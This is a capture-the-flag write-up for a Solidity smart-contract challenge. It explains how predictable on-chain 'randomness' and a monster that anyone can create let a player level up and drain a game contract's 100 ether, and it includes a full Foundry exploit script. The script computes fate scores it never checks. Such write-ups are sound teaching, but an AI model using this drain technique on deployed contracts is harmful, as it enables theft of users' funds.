Writeup for Dungeons And Naga

  • Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.

Challenge Description

The developer of this protocol really loves the movie so he decided to build a decentralized game out of it that lives on chain. He has spent all his life saving and really want the game to succeed. The game sets you on an adventure to find hidden treasure.

Author: MaanVad3r

The Challenge and Exploit

The below are source contracts

  1. DungeonsNDragon contract
  1// SPDX-License-Identifier: MIT
  2pragma solidity ^0.8.25;
  3
  4
  5
  6contract DungeonsAndDragons {
  7    struct Character {
  8        string name;
  9        uint256 level;
 10        uint256 experience;
 11        uint256 strength;
 12        uint256 dexterity;
 13        uint256 intelligence;
 14    }
 15
 16    struct Dungeon {
 17        string name;
 18        uint256 difficulty;
 19        uint256 reward;
 20    }
 21
 22    struct Monster {
 23        string name;
 24        uint256 health;
 25        uint256 attack;
 26    }
 27
 28    struct Raid {
 29        string name;
 30        uint256 requiredLevel;
 31        uint256 reward;
 32    }
 33
 34    mapping(address => Character) public characters;
 35    Dungeon[] public dungeons;
 36    Monster[] public monsters;
 37    Raid[] public raids;
 38    string public salt;
 39    uint256 public initialReward;
 40    uint256 public initialLevel;
 41    address public owner;
 42    
 43    event CharacterCreated(address indexed player, string name);
 44    event DungeonCompleted(address indexed player, string dungeonName, uint256 reward);
 45    event RaidCompleted(address indexed player, string raidName, uint256 reward);
 46    event MonsterDefeated(address indexed player, string monsterName);
 47    event FinalDragonDefeated(address indexed player);
 48
 49    modifier nonReentrant() {
 50        require(!locked, "No re-entrancy");
 51        locked = true;
 52        _;
 53        locked = false;
 54    }
 55
 56    modifier onlyCreator() {
 57        require(msg.sender == owner, "Only the creator can call this function");
 58        _;
 59    }
 60    
 61    bool private locked;
 62
 63    constructor(string memory _salt, uint256 _initialReward, uint256 _initialLevel) payable {
 64        require(msg.value == 100 ether, "Contract must be funded with 100 Ether");
 65        salt = _salt;
 66        initialReward = _initialReward;
 67        initialLevel = _initialLevel;
 68        owner = msg.sender;
 69    }
 70
 71    fallback() external payable {}
 72
 73    function createCharacter(string memory _name, uint256 _class) public payable {
 74        require(msg.value == 0.1 ether, "Must pay 0.1 ether to create a character");
 75        require(bytes(characters[msg.sender].name).length == 0, "Character already exists");
 76        
 77        uint256 strength;
 78        uint256 dexterity;
 79        uint256 intelligence;
 80
 81        if (_class == 1) { // Warrior
 82            strength = 10;
 83            dexterity = 5;
 84            intelligence = 2;
 85        } else if (_class == 2) { // Rogue
 86            strength = 5;
 87            dexterity = 10;
 88            intelligence = 3;
 89        } else if (_class == 3) { // Mage
 90            strength = 2;
 91            dexterity = 3;
 92            intelligence = 10;
 93        }
 94
 95        characters[msg.sender] = Character(_name, initialLevel, 0, strength, dexterity, intelligence);
 96        emit CharacterCreated(msg.sender, _name);
 97    }
 98
 99    function createDungeon(string memory _name, uint256 _difficulty, uint256 _reward) public onlyCreator {
100        dungeons.push(Dungeon(_name, _difficulty, _reward));
101    }
102
103    function createMonster(string memory _name, uint256 _health, uint256 _attack) public {
104        monsters.push(Monster(_name, _health, _attack));
105    }
106
107    function createRaid(string memory _name, uint256 _requiredLevel, uint256 _reward) public onlyCreator {
108        raids.push(Raid(_name, _requiredLevel, _reward));
109    }
110
111    function completeDungeon(uint256 _dungeonIndex) public nonReentrant {
112        require(_dungeonIndex < dungeons.length, "Invalid dungeon index");
113        Dungeon memory dungeon = dungeons[_dungeonIndex];
114        Character storage character = characters[msg.sender];
115
116        require(character.level >= dungeon.difficulty, "Character level too low");
117
118        character.experience += dungeon.reward;
119        character.level++;
120        character.experience = 0;
121
122        emit DungeonCompleted(msg.sender, dungeon.name, dungeon.reward);
123    }
124
125    function completeRaid(uint256 _raidIndex) public nonReentrant {
126        require(_raidIndex < raids.length, "Invalid raid index");
127        Raid memory raid = raids[_raidIndex];
128        Character storage character = characters[msg.sender];
129
130        require(character.level >= raid.requiredLevel, "Character level too low");
131
132        character.experience += raid.reward;
133        character.level++;
134        character.experience = 0;
135
136        emit RaidCompleted(msg.sender, raid.name, raid.reward);
137    }
138
139    function fightMonster(uint256 _monsterIndex) public nonReentrant {
140        require(_monsterIndex < monsters.length, "Invalid monster index");
141        Monster memory monster = monsters[_monsterIndex];
142        Character storage character = characters[msg.sender];
143
144        uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(42)))) % 100;
145        
146        require(fateScore > 30, "Monster fight failed! Bad luck!");
147
148        if (character.strength + character.dexterity + character.intelligence > monster.health + monster.attack) {
149            emit MonsterDefeated(msg.sender, monster.name);
150            character.experience += 50;
151            character.level++;
152            character.experience = 0;
153        } else {
154            revert("Monster too strong! Failed to defeat");
155        }
156    }
157
158    function finalDragon() public nonReentrant {
159        Character storage character = characters[msg.sender];
160        require(character.level >= 20, "Character level too low to fight the final dragon");
161
162        uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(999)))) % 100;
163       
164
165        if (fateScore > 50) {
166            (bool success, ) = msg.sender.call{value: address(this).balance}("");
167            require(success, "Reward transfer failed");
168            emit FinalDragonDefeated(msg.sender);
169        }
170    }
171
172    function withdraw() public onlyCreator {
173        require(address(this).balance > 0, "No balance to withdraw");
174        (bool success, ) = msg.sender.call{value: address(this).balance}("");
175        require(success, "Withdraw failed");
176    }
177
178    function getCharacter(address _player) public view returns (Character memory) {
179        return characters[_player];
180    }
181
182    function distributeRewards(bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) public {
183        address signer = ecrecover(messageHash, v, r, s);
184        require(signer == owner, "Invalid signature");
185
186        //distribute rewards logic
187        Character storage character = characters[msg.sender];
188        character.experience += 10;  
189    }
190}
  1. Setup contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.25;
 3
 4import "./DungeonsNDragons.sol";
 5
 6contract Setup {
 7    DungeonsAndDragons public challengeInstance;
 8
 9    constructor(string memory _salt, uint256 _initialReward, uint256 _initialLevel) payable {
10        
11        require(msg.value == 100 ether, "Setup requires exactly 100 ETH for the challenge");
12        challengeInstance = new DungeonsAndDragons{value: msg.value}(_salt, _initialReward, _initialLevel);
13    }
14
15    
16    function isSolved() public view returns (bool) {
17        
18        return address(challengeInstance).balance == 0;
19    }
20}

Our task is to make the Setup:isSolved function return true. This function will return true when the balance of the DungeonsNDragons contract becomes zero. The DungeonsNDragons contract is initialized with 100 ether during deployment. To solve this challenge, we need to drain and steal the 100 ether from DungeonsNDragons contract.

 1function finalDragon() public nonReentrant {
 2    Character storage character = characters[msg.sender];
 3    require(character.level >= 20, "Character level too low to fight the final dragon");
 4
 5    uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(999)))) % 100;
 6       
 7
 8    if (fateScore > 50) {
 9        (bool success, ) = msg.sender.call{value: address(this).balance}("");
10        require(success, "Reward transfer failed");
11        emit FinalDragonDefeated(msg.sender);
12    }
13}

The DungeonsNDragons:finalDragon function is a public function, meaning anyone can call it. This is the only place where the entire ether balance of the DungeonsNDragons contract is transferred to the msg.sender. If we can find a way to successfully call this function, the challenge will be solved.

We can call this function only if our character’s level is greater than 20. The function will transfer all the funds only if the fateScore is greater than 50. Since the fateScore depends on some known values, we can calculate it in advance and initiate the transaction only if the fateScore exceeds 50. Now let’s focus on how to increase our character level

Character levels are increased through the DungeonsNDragons:completeDungeon, DungeonsNDragons:completeRaid, and DungeonsNDragons:fightMonster functions. However, we can only call DungeonsNDragons:fightMonster because no Dungeons or Raids have been created. Dungeons and Raids can only be created by the contract’s creator (owner), while Monsters can be created by anyone. To proceed, we need to create a Monster with health and attack set to zero. Once the Monster is created, we can call DungeonsNDragons:fightMonster, passing the index of the Monster we created.

 1function fightMonster(uint256 _monsterIndex) public nonReentrant {
 2    require(_monsterIndex < monsters.length, "Invalid monster index");
 3    Monster memory monster = monsters[_monsterIndex];
 4    Character storage character = characters[msg.sender];
 5
 6    uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(42)))) % 100;
 7        
 8    require(fateScore > 30, "Monster fight failed! Bad luck!");
 9
10    if (character.strength + character.dexterity + character.intelligence > monster.health + monster.attack) {
11        emit MonsterDefeated(msg.sender, monster.name);
12        character.experience += 50;
13        character.level++;
14        character.experience = 0;
15    } else {
16        revert("Monster too strong! Failed to defeat");
17    }
18}

Now, the only factor we need to consider when calling DungeonsNDragons:fightMonster is the fateScore. The fateScore is calculated based on parameters known to both the contract and msg.sender. Therefore, msg.sender can calculate the fateScore in advance. If the fateScore is greater than 30, then the function can be called successfully.

The below is the exploit script.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4import {Script} from "forge-std/Script.sol";
 5
 6interface IDungeons{
 7    function createCharacter(string memory _name, uint256 _class) external payable ;
 8    function finalDragon() external;
 9    function distributeRewards(bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) external ;
10    function salt()external view returns (string memory);
11    function createMonster(string memory _name, uint256 _health, uint256 _attack) external ;
12     function fightMonster(uint256 _monsterIndex) external;
13}
14
15interface ISetup{
16    function challengeInstance()external view returns(IDungeons);
17    function isSolved() external view returns (bool);
18}
19
20contract ExploiotChallenge {
21
22    ISetup setup;
23    IDungeons dungeons;
24    uint256 fateScore1 ;
25    uint256 fateScore2;
26    constructor(address _setup){
27        setup=ISetup(_setup);
28        dungeons=setup.challengeInstance();
29        
30        
31    }
32
33    function Exploit()public payable{
34        fateScore2=uint256(keccak256(abi.encodePacked(msg.sender, dungeons.salt(), uint256(999)))) % 100;
35        fateScore1 = uint256(keccak256(abi.encodePacked(msg.sender, dungeons.salt(), uint256(42)))) % 100;
36        dungeons.createCharacter{value:msg.value}("h4ck3r",1);
37        dungeons.createMonster("m0nst3r", 0, 0);
38        for(uint8 i=0;i<20;i++){
39            dungeons.fightMonster(0);
40        }
41        dungeons.finalDragon();
42    }
43
44    receive()external payable{}
45}
46
47
48
49contract CreateExploit is Script{
50    ExploiotChallenge exploit;
51
52    function run()public{
53        address setup=address(/* YOUR_SETUP_ADDRESS */);
54        vm.startBroadcast();
55        exploit=new ExploiotChallenge(setup);
56        exploit.Exploit{value:0.1 ether}();
57        vm.stopBroadcast();
58    }
59}

***Hope you enjoyed this write-up. Keep on hacking and learning!***